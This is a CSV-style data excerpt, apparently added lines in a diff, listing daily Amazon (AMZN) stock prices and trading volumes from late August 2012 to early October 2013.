+2012-08-29,246.77999877929688,247.61000061035156,244.58999633789062,247.1199951171875,247.1199951171875,1772600,AMZN
+2012-08-30,246.99000549316406,250.0,245.25,246.22000122070312,246.22000122070312,3647500,AMZN
+2012-08-31,248.07000732421875,249.4499969482422,245.5,248.27000427246094,248.27000427246094,3347500,AMZN
+2012-09-04,248.27000427246094,251.0,244.66000366210938,247.8800048828125,247.8800048828125,3950800,AMZN
+2012-09-05,247.61000061035156,248.61000061035156,245.3000030517578,246.22000122070312,246.22000122070312,2652600,AMZN
+2012-09-06,248.22999572753906,252.6999969482422,247.1999969482422,251.3800048828125,251.3800048828125,5361400,AMZN
+2012-09-07,253.85000610351562,259.4200134277344,253.52000427246094,259.1400146484375,259.1400146484375,5029500,AMZN
+2012-09-10,259.0,260.0,256.82000732421875,257.0899963378906,257.0899963378906,2567200,AMZN
+2012-09-11,257.6000061035156,257.6000061035156,254.25999450683594,255.6699981689453,255.6699981689453,2524800,AMZN
+2012-09-12,256.5,257.7799987792969,253.5,255.6300048828125,255.6300048828125,2273200,AMZN
+2012-09-13,254.94000244140625,262.0,253.8000030517578,260.239990234375,260.239990234375,3525600,AMZN
+2012-09-14,261.3999938964844,264.1099853515625,259.7699890136719,261.2699890136719,261.2699890136719,3666200,AMZN
+2012-09-17,261.25,261.25,257.0,258.0,258.0,2306300,AMZN
+2012-09-18,258.4800109863281,260.5,257.0,258.75,258.75,2215000,AMZN
+2012-09-19,259.45001220703125,262.8399963378906,258.5299987792969,261.67999267578125,261.67999267578125,2636800,AMZN
+2012-09-20,260.0299987792969,260.8699951171875,258.0,260.80999755859375,260.80999755859375,2913600,AMZN
+2012-09-21,261.739990234375,262.0,256.739990234375,257.4700012207031,257.4700012207031,6059300,AMZN
+2012-09-24,255.22000122070312,255.60000610351562,253.0,254.8000030517578,254.8000030517578,2707900,AMZN
+2012-09-25,256.3299865722656,258.95001220703125,251.02999877929688,252.4600067138672,252.4600067138672,4405800,AMZN
+2012-09-26,252.39999389648438,254.61000061035156,248.22999572753906,249.6699981689453,249.6699981689453,2920500,AMZN
+2012-09-27,250.5399932861328,257.3999938964844,250.52000427246094,256.5899963378906,256.5899963378906,3397400,AMZN
+2012-09-28,256.1400146484375,257.0,253.1999969482422,254.32000732421875,254.32000732421875,2456600,AMZN
+2012-10-01,255.39999389648438,256.1600036621094,250.49000549316406,252.00999450683594,252.00999450683594,2581200,AMZN
+2012-10-02,252.8000030517578,253.14999389648438,249.02999877929688,250.60000610351562,250.60000610351562,2195800,AMZN
+2012-10-03,251.2100067138672,256.1000061035156,249.55999755859375,255.9199981689453,255.9199981689453,2745600,AMZN
+2012-10-04,256.010009765625,261.5199890136719,255.8699951171875,260.4700012207031,260.4700012207031,2700400,AMZN
+2012-10-05,261.20001220703125,261.8999938964844,257.489990234375,258.510009765625,258.510009765625,2806500,AMZN
+2012-10-08,257.6700134277344,259.79998779296875,255.55999755859375,259.05999755859375,259.05999755859375,1762300,AMZN
+2012-10-09,258.6700134277344,259.3500061035156,250.72999572753906,250.9600067138672,250.9600067138672,3494800,AMZN
+2012-10-10,252.0,252.4600067138672,244.00999450683594,244.99000549316406,244.99000549316406,3948300,AMZN
+2012-10-11,248.0,249.3000030517578,241.88999938964844,244.22000122070312,244.22000122070312,3447300,AMZN
+2012-10-12,243.17999267578125,245.4600067138672,241.91000366210938,242.36000061035156,242.36000061035156,2203200,AMZN
+2012-10-15,242.85000610351562,244.77999877929688,238.50999450683594,244.17999267578125,244.17999267578125,2959800,AMZN
+2012-10-16,244.8699951171875,245.77000427246094,242.0800018310547,243.94000244140625,243.94000244140625,2204100,AMZN
+2012-10-17,243.3699951171875,248.8000030517578,243.3000030517578,247.49000549316406,247.49000549316406,3302700,AMZN
+2012-10-18,247.77000427246094,250.91000366210938,242.6999969482422,244.85000610351562,244.85000610351562,5305300,AMZN
+2012-10-19,245.16000366210938,246.82000732421875,238.94000244140625,240.0,240.0,4395300,AMZN
+2012-10-22,238.80999755859375,238.9499969482422,232.32000732421875,233.77999877929688,233.77999877929688,4500000,AMZN
+2012-10-23,231.0500030517578,236.5,230.00999450683594,234.30999755859375,234.30999755859375,4430800,AMZN
+2012-10-24,235.8800048828125,235.94000244140625,227.9499969482422,228.49000549316406,228.49000549316406,3678700,AMZN
+2012-10-25,230.9199981689453,230.9199981689453,222.9199981689453,222.9199981689453,222.9199981689453,6741300,AMZN
+2012-10-26,228.60000610351562,238.7100067138672,226.69000244140625,238.24000549316406,238.24000549316406,11367500,AMZN
+2012-10-31,236.32000732421875,238.6999969482422,230.5,232.88999938964844,232.88999938964844,4797600,AMZN
+2012-11-01,234.22999572753906,234.5500030517578,231.33999633789062,232.13999938964844,232.13999938964844,3905100,AMZN
+2012-11-02,234.00999450683594,237.39999389648438,232.11000061035156,232.4199981689453,232.4199981689453,3374700,AMZN
+2012-11-05,232.0399932861328,234.8300018310547,230.11000061035156,234.3300018310547,234.3300018310547,1846100,AMZN
+2012-11-06,235.41000366210938,237.75,234.4499969482422,237.55999755859375,237.55999755859375,2661300,AMZN
+2012-11-07,235.64999389648438,235.66000366210938,229.4199981689453,232.05999755859375,232.05999755859375,3624200,AMZN
+2012-11-08,232.22000122070312,233.4499969482422,227.10000610351562,227.35000610351562,227.35000610351562,2982400,AMZN
+2012-11-09,226.25999450683594,230.97000122070312,224.60000610351562,226.30999755859375,226.30999755859375,3092500,AMZN
+2012-11-12,226.58999633789062,229.22000122070312,225.41000366210938,226.47000122070312,226.47000122070312,2128800,AMZN
+2012-11-13,225.1199951171875,227.89999389648438,224.7100067138672,226.60000610351562,226.60000610351562,2629800,AMZN
+2012-11-14,226.5,227.41000366210938,222.50999450683594,222.9499969482422,222.9499969482422,3034100,AMZN
+2012-11-15,222.3000030517578,225.16000366210938,218.17999267578125,220.60000610351562,220.60000610351562,3404700,AMZN
+2012-11-16,221.30999755859375,226.25,218.63999938964844,225.22999572753906,225.22999572753906,4352800,AMZN
+2012-11-19,228.32000732421875,232.5,227.4499969482422,229.7100067138672,229.7100067138672,3591200,AMZN
+2012-11-20,230.0,233.82000732421875,229.5,233.77999877929688,233.77999877929688,2771700,AMZN
+2012-11-21,233.83999633789062,238.6699981689453,232.75,238.02999877929688,238.02999877929688,2959300,AMZN
+2012-11-23,239.88999938964844,240.0,236.47999572753906,239.8800048828125,239.8800048828125,1776800,AMZN
+2012-11-26,240.38999938964844,244.32000732421875,238.0,243.6199951171875,243.6199951171875,4178300,AMZN
+2012-11-27,243.22000122070312,245.6699981689453,241.5399932861328,243.39999389648438,243.39999389648438,3048500,AMZN
+2012-11-28,242.4499969482422,247.22999572753906,241.5,247.11000061035156,247.11000061035156,2743400,AMZN
+2012-11-29,248.0500030517578,252.47999572753906,247.5,251.27000427246094,251.27000427246094,5310500,AMZN
+2012-11-30,250.3800048828125,252.64999389648438,248.27000427246094,252.0500030517578,252.0500030517578,3797400,AMZN
+2012-12-03,252.5399932861328,254.16000366210938,250.0,250.3300018310547,250.3300018310547,2990600,AMZN
+2012-12-04,249.94000244140625,253.0,248.66000366210938,252.49000549316406,252.49000549316406,3114700,AMZN
+2012-12-05,252.44000244140625,255.5500030517578,250.3800048828125,253.9600067138672,253.9600067138672,2852200,AMZN
+2012-12-06,253.0,255.1699981689453,251.50999450683594,253.3699951171875,253.3699951171875,3557900,AMZN
+2012-12-07,254.13999938964844,255.2100067138672,252.00999450683594,253.27000427246094,253.27000427246094,2170300,AMZN
+2012-12-10,253.10000610351562,254.77999877929688,247.3000030517578,247.77000427246094,247.77000427246094,3503800,AMZN
+2012-12-11,248.5,253.47999572753906,246.64999389648438,250.69000244140625,250.69000244140625,4185200,AMZN
+2012-12-12,251.07000732421875,254.36000061035156,250.05999755859375,251.75999450683594,251.75999450683594,2628100,AMZN
+2012-12-13,251.11000061035156,254.5399932861328,250.02000427246094,251.25,251.25,2460200,AMZN
+2012-12-14,250.11000061035156,251.89999389648438,247.7899932861328,249.19000244140625,249.19000244140625,2526900,AMZN
+2012-12-17,249.80999755859375,254.0,249.25999450683594,253.86000061035156,253.86000061035156,2277000,AMZN
+2012-12-18,254.57000732421875,263.1099853515625,254.57000732421875,260.3999938964844,260.3999938964844,4961000,AMZN
+2012-12-19,261.29998779296875,261.6700134277344,257.67999267578125,257.989990234375,257.989990234375,2300000,AMZN
+2012-12-20,258.3599853515625,262.4100036621094,256.5400085449219,261.5,261.5,2584600,AMZN
+2012-12-21,257.82000732421875,258.3800048828125,255.74000549316406,256.9200134277344,256.9200134277344,4704600,AMZN
+2012-12-24,257.29998779296875,259.5,256.9599914550781,258.6199951171875,258.6199951171875,984400,AMZN
+2012-12-26,257.1499938964844,257.4200134277344,248.0399932861328,248.6300048828125,248.6300048828125,4152700,AMZN
+2012-12-27,248.27999877929688,249.35000610351562,242.86000061035156,248.30999755859375,248.30999755859375,3639300,AMZN
+2012-12-28,245.85000610351562,247.44000244140625,245.0500030517578,245.17999267578125,245.17999267578125,1858700,AMZN
+2012-12-31,243.75,252.41000366210938,242.75,250.8699951171875,250.8699951171875,3419000,AMZN
+2013-01-02,256.0799865722656,258.1000061035156,253.25999450683594,257.30999755859375,257.30999755859375,3271000,AMZN
+2013-01-03,257.2699890136719,260.8800048828125,256.3699951171875,258.4800109863281,258.4800109863281,2750900,AMZN
+2013-01-04,257.5799865722656,259.79998779296875,256.6499938964844,259.1499938964844,259.1499938964844,1874200,AMZN
+2013-01-07,262.9700012207031,269.7300109863281,262.6700134277344,268.4599914550781,268.4599914550781,4910000,AMZN
+2013-01-08,267.07000732421875,268.9800109863281,263.57000732421875,266.3800048828125,266.3800048828125,3010700,AMZN
+2013-01-09,268.1700134277344,269.5,265.3999938964844,266.3500061035156,266.3500061035156,2265600,AMZN
+2013-01-10,268.5400085449219,268.739990234375,262.29998779296875,265.3399963378906,265.3399963378906,2863400,AMZN
+2013-01-11,265.1000061035156,268.42999267578125,264.1099853515625,267.94000244140625,267.94000244140625,2413300,AMZN
+2013-01-14,268.0,274.260009765625,267.5400085449219,272.7300109863281,272.7300109863281,4275000,AMZN
+2013-01-15,270.67999267578125,272.7300109863281,269.29998779296875,271.8999938964844,271.8999938964844,2326900,AMZN
+2013-01-16,270.5299987792969,271.239990234375,267.8299865722656,268.92999267578125,268.92999267578125,2065600,AMZN
+2013-01-17,271.5,271.9700012207031,269.2099914550781,270.4800109863281,270.4800109863281,1884600,AMZN
+2013-01-18,270.8299865722656,274.5,269.6000061035156,272.1199951171875,272.1199951171875,2942000,AMZN
+2013-01-22,271.6199951171875,272.1000061035156,269.2300109863281,270.19000244140625,270.19000244140625,2137700,AMZN
+2013-01-23,270.57000732421875,271.0899963378906,266.6499938964844,268.1099853515625,268.1099853515625,2508900,AMZN
+2013-01-24,269.3699951171875,276.6499938964844,269.3699951171875,273.4599914550781,273.4599914550781,3417000,AMZN
+2013-01-25,275.0,284.7200012207031,274.3999938964844,283.989990234375,283.989990234375,4968100,AMZN
+2013-01-28,283.7799987792969,284.4800109863281,274.3999938964844,276.0400085449219,276.0400085449219,4321400,AMZN
+2013-01-29,275.3500061035156,275.4599914550781,258.3500061035156,260.3500061035156,260.3500061035156,10172600,AMZN
+2013-01-30,283.0,284.20001220703125,267.1099853515625,272.760009765625,272.760009765625,13075400,AMZN
+2013-01-31,271.0400085449219,275.94000244140625,263.70001220703125,265.5,265.5,6772100,AMZN
+2013-02-01,268.92999267578125,268.92999267578125,262.79998779296875,265.0,265.0,6115000,AMZN
+2013-02-04,262.7799987792969,264.67999267578125,259.07000732421875,259.9800109863281,259.9800109863281,3723600,AMZN
+2013-02-05,262.0,268.0299987792969,261.4599914550781,266.8900146484375,266.8900146484375,4012900,AMZN
+2013-02-06,265.1600036621094,266.8900146484375,261.1099853515625,262.2200012207031,262.2200012207031,2770400,AMZN
+2013-02-07,264.1000061035156,264.1000061035156,255.11000061035156,260.2300109863281,260.2300109863281,3975700,AMZN
+2013-02-08,261.3999938964844,265.25,260.54998779296875,261.95001220703125,261.95001220703125,3879200,AMZN
+2013-02-11,263.20001220703125,263.25,256.6000061035156,257.2099914550781,257.2099914550781,3403700,AMZN
+2013-02-12,259.19000244140625,260.1600036621094,257.0,258.70001220703125,258.70001220703125,2943700,AMZN
+2013-02-13,261.5299987792969,269.9599914550781,260.29998779296875,269.4700012207031,269.4700012207031,5293000,AMZN
+2013-02-14,267.3699951171875,270.6499938964844,265.3999938964844,269.239990234375,269.239990234375,3463000,AMZN
+2013-02-15,267.6300048828125,268.9200134277344,263.1099853515625,265.0899963378906,265.0899963378906,3979900,AMZN
+2013-02-19,265.9100036621094,270.1099853515625,264.5,269.75,269.75,2854200,AMZN
+2013-02-20,270.20001220703125,274.29998779296875,266.3699951171875,266.4100036621094,266.4100036621094,3528900,AMZN
+2013-02-21,265.1199951171875,269.4800109863281,263.25,265.94000244140625,265.94000244140625,3637400,AMZN
+2013-02-22,266.6199951171875,267.1099853515625,261.6099853515625,265.4200134277344,265.4200134277344,3124800,AMZN
+2013-02-25,266.94000244140625,268.69000244140625,259.6499938964844,259.8699951171875,259.8699951171875,3032400,AMZN
+2013-02-26,260.8900146484375,262.0400085449219,255.72999572753906,259.3599853515625,259.3599853515625,3348600,AMZN
+2013-02-27,259.3999938964844,265.8299865722656,256.8599853515625,263.25,263.25,2908100,AMZN
+2013-02-28,261.80999755859375,267.0,260.6300048828125,264.2699890136719,264.2699890136719,2667200,AMZN
+2013-03-01,263.2699890136719,266.6000061035156,261.0400085449219,265.739990234375,265.739990234375,2957000,AMZN
+2013-03-04,265.3599853515625,273.29998779296875,264.1400146484375,273.1099853515625,273.1099853515625,3453000,AMZN
+2013-03-05,274.0,276.67999267578125,269.989990234375,275.5899963378906,275.5899963378906,3686200,AMZN
+2013-03-06,275.760009765625,276.489990234375,271.8299865722656,273.7900085449219,273.7900085449219,2050700,AMZN
+2013-03-07,274.1000061035156,274.79998779296875,271.8500061035156,273.8800048828125,273.8800048828125,1939000,AMZN
+2013-03-08,275.0,275.44000244140625,271.5,274.19000244140625,274.19000244140625,1879800,AMZN
+2013-03-11,273.42999267578125,273.989990234375,270.3999938964844,271.239990234375,271.239990234375,1904900,AMZN
+2013-03-12,271.0,277.3999938964844,270.3599853515625,274.1300048828125,274.1300048828125,3246200,AMZN
+2013-03-13,275.239990234375,276.5,272.6400146484375,275.1000061035156,275.1000061035156,1884200,AMZN
+2013-03-14,269.6700134277344,270.0,263.5299987792969,265.739990234375,265.739990234375,5226700,AMZN
+2013-03-15,264.9800109863281,267.260009765625,260.04998779296875,261.82000732421875,261.82000732421875,4865900,AMZN
+2013-03-18,259.29998779296875,261.489990234375,257.1199951171875,257.8900146484375,257.8900146484375,2720200,AMZN
+2013-03-19,258.3999938964844,259.5,252.6199951171875,256.4100036621094,256.4100036621094,3738500,AMZN
+2013-03-20,258.04998779296875,259.760009765625,254.5500030517578,257.2799987792969,257.2799987792969,2738900,AMZN
+2013-03-21,256.1099853515625,257.0,252.67999267578125,253.38999938964844,253.38999938964844,2806400,AMZN
+2013-03-22,254.5500030517578,257.7699890136719,252.07000732421875,257.75,257.75,3124600,AMZN
+2013-03-25,258.5799865722656,259.42999267578125,254.5,256.0199890136719,256.0199890136719,2513900,AMZN
+2013-03-26,257.04998779296875,261.4800109863281,256.2799987792969,260.30999755859375,260.30999755859375,2421000,AMZN
+2013-03-27,258.75,265.92999267578125,257.8999938964844,265.29998779296875,265.29998779296875,2874900,AMZN
+2013-03-28,265.82000732421875,267.3800048828125,264.05999755859375,266.489990234375,266.489990234375,2473700,AMZN
+2013-04-01,266.9800109863281,267.3999938964844,261.010009765625,261.6099853515625,261.6099853515625,2524800,AMZN
+2013-04-02,262.3999938964844,265.8900146484375,260.54998779296875,263.32000732421875,263.32000732421875,2631100,AMZN
+2013-04-03,262.1199951171875,263.6700134277344,257.75,259.0299987792969,259.0299987792969,2413800,AMZN
+2013-04-04,259.2300109863281,260.4100036621094,256.1199951171875,259.0799865722656,259.0799865722656,1964400,AMZN
+2013-04-05,255.72000122070312,256.17999267578125,253.6699981689453,255.47999572753906,255.47999572753906,2557400,AMZN
+2013-04-08,255.9199981689453,259.67999267578125,255.6300048828125,258.95001220703125,258.95001220703125,2295600,AMZN
+2013-04-09,258.8500061035156,262.6099853515625,257.0,261.1400146484375,261.1400146484375,2156600,AMZN
+2013-04-10,261.7799987792969,265.9800109863281,259.32000732421875,264.7699890136719,264.7699890136719,2322500,AMZN
+2013-04-11,264.739990234375,270.9700012207031,264.739990234375,269.8500061035156,269.8500061035156,3090500,AMZN
+2013-04-12,270.1199951171875,273.2699890136719,267.0199890136719,272.8699951171875,272.8699951171875,2866300,AMZN
+2013-04-15,271.0799865722656,275.1199951171875,267.1000061035156,267.7200012207031,267.7200012207031,3326000,AMZN
+2013-04-16,269.30999755859375,272.79998779296875,268.05999755859375,272.3399963378906,272.3399963378906,2137200,AMZN
+2013-04-17,270.79998779296875,270.8500061035156,264.25,267.3999938964844,267.3999938964844,3135100,AMZN
+2013-04-18,266.80999755859375,266.989990234375,256.6000061035156,259.4200134277344,259.4200134277344,3137600,AMZN
+2013-04-19,258.1600036621094,262.8800048828125,257.5,260.32000732421875,260.32000732421875,2602500,AMZN
+2013-04-22,259.3500061035156,264.6000061035156,258.0299987792969,263.54998779296875,263.54998779296875,2119100,AMZN
+2013-04-23,264.5,269.8699951171875,264.5,268.8999938964844,268.8999938964844,2270600,AMZN
+2013-04-24,269.5,271.4700012207031,266.80999755859375,268.7799987792969,268.7799987792969,1852800,AMZN
+2013-04-25,271.5299987792969,275.79998779296875,270.5,274.70001220703125,274.70001220703125,6116500,AMZN
+2013-04-26,269.9700012207031,272.0199890136719,252.80999755859375,254.80999755859375,254.80999755859375,14030000,AMZN
+2013-04-29,254.89999389648438,257.010009765625,249.14999389648438,249.74000549316406,249.74000549316406,7117000,AMZN
+2013-04-30,249.3699951171875,254.67999267578125,248.55999755859375,253.80999755859375,253.80999755859375,4248800,AMZN
+2013-05-01,253.89999389648438,254.1999969482422,245.75,248.22999572753906,248.22999572753906,4391400,AMZN
+2013-05-02,248.94000244140625,252.92999267578125,245.77999877929688,252.5500030517578,252.5500030517578,3936200,AMZN
+2013-05-03,256.1400146484375,259.25,254.6999969482422,258.04998779296875,258.04998779296875,3514000,AMZN
+2013-05-06,258.0899963378906,259.5,253.4199981689453,255.72000122070312,255.72000122070312,2347800,AMZN
+2013-05-07,256.30999755859375,259.739990234375,252.91000366210938,257.7300109863281,257.7300109863281,3133700,AMZN
+2013-05-08,256.8699951171875,260.29998779296875,255.3300018310547,258.67999267578125,258.67999267578125,2677000,AMZN
+2013-05-09,258.7300109863281,263.54998779296875,256.8800048828125,260.1600036621094,260.1600036621094,2769300,AMZN
+2013-05-10,260.8800048828125,263.6499938964844,260.2099914550781,263.6300048828125,263.6300048828125,3145300,AMZN
+2013-05-13,262.7699890136719,265.8800048828125,262.0,264.510009765625,264.510009765625,2149500,AMZN
+2013-05-14,264.5,269.3999938964844,264.0299987792969,268.3299865722656,268.3299865722656,2700000,AMZN
+2013-05-15,267.07000732421875,269.04998779296875,264.55999755859375,266.55999755859375,266.55999755859375,2720500,AMZN
+2013-05-16,265.9599914550781,268.42999267578125,263.8500061035156,264.1199951171875,264.1199951171875,1643500,AMZN
+2013-05-17,265.8299865722656,269.9800109863281,265.0,269.8999938964844,269.8999938964844,2527300,AMZN
+2013-05-20,269.0,271.7900085449219,266.5,267.6300048828125,267.6300048828125,2209000,AMZN
+2013-05-21,268.739990234375,270.7699890136719,267.6600036621094,268.8599853515625,268.8599853515625,1741200,AMZN
+2013-05-22,267.3900146484375,267.5899963378906,260.79998779296875,262.9599914550781,262.9599914550781,3332000,AMZN
+2013-05-23,260.489990234375,263.1700134277344,259.5899963378906,261.79998779296875,261.79998779296875,2000300,AMZN
+2013-05-24,259.8500061035156,261.92999267578125,258.3399963378906,261.739990234375,261.739990234375,1696300,AMZN
+2013-05-28,266.4800109863281,271.1000061035156,266.0,267.2900085449219,267.2900085449219,3471000,AMZN
+2013-05-29,265.4599914550781,268.25,264.8399963378906,265.5299987792969,265.5299987792969,1903400,AMZN
+2013-05-30,265.7099914550781,268.57000732421875,265.6099853515625,266.8299865722656,266.8299865722656,1667500,AMZN
+2013-05-31,266.0,271.9100036621094,265.94000244140625,269.20001220703125,269.20001220703125,3374300,AMZN
+2013-06-03,268.9599914550781,269.1099853515625,262.95001220703125,266.8800048828125,266.8800048828125,2543900,AMZN
+2013-06-04,267.0,268.8800048828125,263.0199890136719,265.70001220703125,265.70001220703125,2088600,AMZN
+2013-06-05,265.80999755859375,271.6600036621094,265.0199890136719,267.1700134277344,267.1700134277344,3512300,AMZN
+2013-06-06,267.75,270.5,264.2099914550781,267.8299865722656,267.8299865722656,2476300,AMZN
+2013-06-07,269.739990234375,280.1000061035156,269.1300048828125,276.8699951171875,276.8699951171875,4632600,AMZN
+2013-06-10,276.67999267578125,282.4700012207031,275.239990234375,281.07000732421875,281.07000732421875,3086500,AMZN
+2013-06-11,276.0,278.4100036621094,274.239990234375,274.7799987792969,274.7799987792969,3097800,AMZN
+2013-06-12,276.6000061035156,276.79998779296875,270.45001220703125,271.6700134277344,271.6700134277344,2238900,AMZN
+2013-06-13,271.5,276.79998779296875,270.2900085449219,275.7900085449219,275.7900085449219,2649800,AMZN
+2013-06-14,275.0,277.07000732421875,273.44000244140625,273.989990234375,273.989990234375,2150800,AMZN
+2013-06-17,276.3500061035156,280.20001220703125,275.6499938964844,278.05999755859375,278.05999755859375,2884000,AMZN
+2013-06-18,279.0799865722656,282.9100036621094,278.1099853515625,281.760009765625,281.760009765625,2146100,AMZN
+2013-06-19,281.260009765625,283.3399963378906,277.8699951171875,278.1600036621094,278.1600036621094,2827500,AMZN
+2013-06-20,275.1400146484375,278.6000061035156,272.3900146484375,273.44000244140625,273.44000244140625,2984000,AMZN
+2013-06-21,274.57000732421875,275.8399963378906,269.7900085449219,273.3599853515625,273.3599853515625,4201000,AMZN
+2013-06-24,271.2900085449219,273.1600036621094,265.0,270.6099853515625,270.6099853515625,3863800,AMZN
+2013-06-25,272.29998779296875,273.4700012207031,269.0,272.0899963378906,272.0899963378906,2449600,AMZN
+2013-06-26,273.9800109863281,277.9800109863281,273.5,277.57000732421875,277.57000732421875,3029500,AMZN
+2013-06-27,279.17999267578125,280.20001220703125,274.5400085449219,277.54998779296875,277.54998779296875,2519500,AMZN
+2013-06-28,276.19000244140625,279.8299865722656,276.19000244140625,277.69000244140625,277.69000244140625,3193300,AMZN
+2013-07-01,279.0,283.2900085449219,277.1600036621094,282.1000061035156,282.1000061035156,2888200,AMZN
+2013-07-02,281.0400085449219,286.5799865722656,280.5899963378906,283.7300109863281,283.7300109863281,3238200,AMZN
+2013-07-03,282.0,285.3999938964844,282.0,284.0299987792969,284.0299987792969,1373000,AMZN
+2013-07-05,285.0,286.3800048828125,282.07000732421875,285.8800048828125,285.8800048828125,1985400,AMZN
+2013-07-08,286.4200134277344,291.6700134277344,286.1400146484375,290.5899963378906,290.5899963378906,3046700,AMZN
+2013-07-09,291.0,292.57000732421875,288.010009765625,291.5299987792969,291.5299987792969,2775600,AMZN
+2013-07-10,291.4100036621094,293.3399963378906,289.3999938964844,292.3299865722656,292.3299865722656,1810200,AMZN
+2013-07-11,294.989990234375,300.69000244140625,292.1000061035156,299.6600036621094,299.6600036621094,4007300,AMZN
+2013-07-12,298.69000244140625,307.54998779296875,298.5,307.54998779296875,307.54998779296875,4539300,AMZN
+2013-07-15,307.2699890136719,307.989990234375,304.3500061035156,306.57000732421875,306.57000732421875,2245600,AMZN
+2013-07-16,307.29998779296875,309.3900146484375,305.510009765625,306.8699951171875,306.8699951171875,2660200,AMZN
+2013-07-17,306.9700012207031,308.79998779296875,305.69000244140625,308.69000244140625,308.69000244140625,2029700,AMZN
+2013-07-18,306.2699890136719,306.3399963378906,301.8699951171875,304.1099853515625,304.1099853515625,3063800,AMZN
+2013-07-19,304.3900146484375,305.7900085449219,301.9100036621094,305.2300109863281,305.2300109863281,2973100,AMZN
+2013-07-22,309.25,309.25,302.0,303.4800109863281,303.4800109863281,2520700,AMZN
+2013-07-23,303.1600036621094,305.05999755859375,300.55999755859375,301.05999755859375,301.05999755859375,1999600,AMZN
+2013-07-24,303.0199890136719,303.8399963378906,298.0400085449219,298.94000244140625,298.94000244140625,2000500,AMZN
+2013-07-25,299.0,304.5,296.75,303.3999938964844,303.3999938964844,5405800,AMZN
+2013-07-26,299.54998779296875,313.6199951171875,295.54998779296875,312.010009765625,312.010009765625,8817500,AMZN
+2013-07-29,311.07000732421875,313.0,305.8999938964844,306.1000061035156,306.1000061035156,3211800,AMZN
+2013-07-30,307.7200012207031,309.7799987792969,301.57000732421875,302.4100036621094,302.4100036621094,3053400,AMZN
+2013-07-31,303.9100036621094,305.1499938964844,301.0,301.2200012207031,301.2200012207031,1891300,AMZN
+2013-08-01,303.0799865722656,306.2099914550781,298.8999938964844,305.57000732421875,305.57000732421875,2971700,AMZN
+2013-08-02,304.6300048828125,305.3299865722656,301.5,304.2099914550781,304.2099914550781,2502600,AMZN
+2013-08-05,303.3999938964844,303.6199951171875,298.29998779296875,300.989990234375,300.989990234375,2233200,AMZN
+2013-08-06,300.510009765625,301.3599853515625,297.5199890136719,300.75,300.75,1849000,AMZN
+2013-08-07,300.1499938964844,300.989990234375,296.1499938964844,296.9100036621094,296.9100036621094,1961000,AMZN
+2013-08-08,298.5199890136719,298.5199890136719,292.54998779296875,295.739990234375,295.739990234375,2343400,AMZN
+2013-08-09,295.67999267578125,299.2699890136719,294.29998779296875,297.260009765625,297.260009765625,1950300,AMZN
+2013-08-12,295.7900085449219,299.0799865722656,295.260009765625,296.69000244140625,296.69000244140625,1504500,AMZN
+2013-08-13,295.8800048828125,296.3699951171875,290.6700134277344,293.9700012207031,293.9700012207031,2349900,AMZN
+2013-08-14,294.2900085449219,294.2900085449219,290.5400085449219,291.3399963378906,291.3399963378906,1415000,AMZN
+2013-08-15,288.7900085449219,289.29998779296875,285.1499938964844,286.4700012207031,286.4700012207031,2261400,AMZN
+2013-08-16,286.54998779296875,288.3299865722656,284.5,284.82000732421875,284.82000732421875,2422500,AMZN
+2013-08-19,285.19000244140625,289.55999755859375,283.4800109863281,285.57000732421875,285.57000732421875,2477400,AMZN
+2013-08-20,285.8800048828125,289.510009765625,285.739990234375,287.0899963378906,287.0899963378906,1586300,AMZN
+2013-08-21,285.0899963378906,288.5,283.8299865722656,284.57000732421875,284.57000732421875,1815300,AMZN
+2013-08-22,284.79998779296875,289.8699951171875,284.79998779296875,289.7300109863281,289.7300109863281,1422600,AMZN
+2013-08-23,291.2099914550781,291.5,287.8999938964844,290.010009765625,290.010009765625,1961900,AMZN
+2013-08-26,290.42999267578125,291.04998779296875,285.6199951171875,286.2099914550781,286.2099914550781,1711700,AMZN
+2013-08-27,283.8699951171875,285.2799987792969,279.739990234375,280.92999267578125,280.92999267578125,2476000,AMZN
+2013-08-28,280.3599853515625,283.0,279.3299865722656,281.5799865722656,281.5799865722656,1457100,AMZN
+2013-08-29,281.45001220703125,285.9800109863281,280.0,283.9800109863281,283.9800109863281,1566400,AMZN
+2013-08-30,284.5899963378906,284.8699951171875,280.0,280.9800109863281,280.9800109863281,1534700,AMZN
+2013-09-03,284.7300109863281,291.3900146484375,284.1700134277344,288.79998779296875,288.79998779296875,2897600,AMZN
+2013-09-04,288.3299865722656,295.2300109863281,287.5799865722656,293.6400146484375,293.6400146484375,2438600,AMZN
+2013-09-05,293.6300048828125,297.0,292.7099914550781,294.1000061035156,294.1000061035156,1816600,AMZN
+2013-09-06,295.3299865722656,298.8800048828125,290.79998779296875,295.8599853515625,295.8599853515625,2292000,AMZN
+2013-09-09,297.2200012207031,299.9599914550781,296.6000061035156,299.7099914550781,299.7099914550781,1643600,AMZN
+2013-09-10,300.54998779296875,301.0,297.2200012207031,300.3599853515625,300.3599853515625,1778400,AMZN
+2013-09-11,298.9100036621094,301.8599853515625,297.8399963378906,299.6400146484375,299.6400146484375,1742600,AMZN
+2013-09-12,299.3900146484375,302.0,297.6600036621094,298.8599853515625,298.8599853515625,1606200,AMZN
+2013-09-13,300.1400146484375,300.2200012207031,296.20001220703125,297.9200134277344,297.9200134277344,1350600,AMZN
+2013-09-16,299.82000732421875,301.0,295.260009765625,296.05999755859375,296.05999755859375,1808400,AMZN
+2013-09-17,297.6300048828125,304.6499938964844,296.010009765625,304.1700134277344,304.1700134277344,2296500,AMZN
+2013-09-18,304.05999755859375,312.739990234375,302.9100036621094,312.0299987792969,312.0299987792969,2946400,AMZN
+2013-09-19,313.7699890136719,314.5400085449219,311.0400085449219,312.05999755859375,312.05999755859375,2350900,AMZN
+2013-09-20,312.5400085449219,320.57000732421875,312.4100036621094,316.3399963378906,316.3399963378906,5302300,AMZN
+2013-09-23,314.010009765625,315.8999938964844,308.7699890136719,311.489990234375,311.489990234375,1884900,AMZN
+2013-09-24,312.42999267578125,318.0799865722656,311.2799987792969,314.1300048828125,314.1300048828125,2033600,AMZN
+2013-09-25,314.5299987792969,316.7099914550781,310.75,312.6499938964844,312.6499938964844,2008600,AMZN
+2013-09-26,313.8999938964844,319.3699951171875,313.260009765625,318.1199951171875,318.1199951171875,1989900,AMZN
+2013-09-27,316.9200134277344,317.2099914550781,313.3500061035156,316.010009765625,316.010009765625,1657500,AMZN
+2013-09-30,313.4100036621094,315.30999755859375,311.05999755859375,312.6400146484375,312.6400146484375,1623600,AMZN
+2013-10-01,314.2200012207031,321.0,313.6499938964844,320.95001220703125,320.95001220703125,2396400,AMZN
+2013-10-02,318.0400085449219,321.7300109863281,317.5199890136719,320.510009765625,320.510009765625,2217400,AMZN
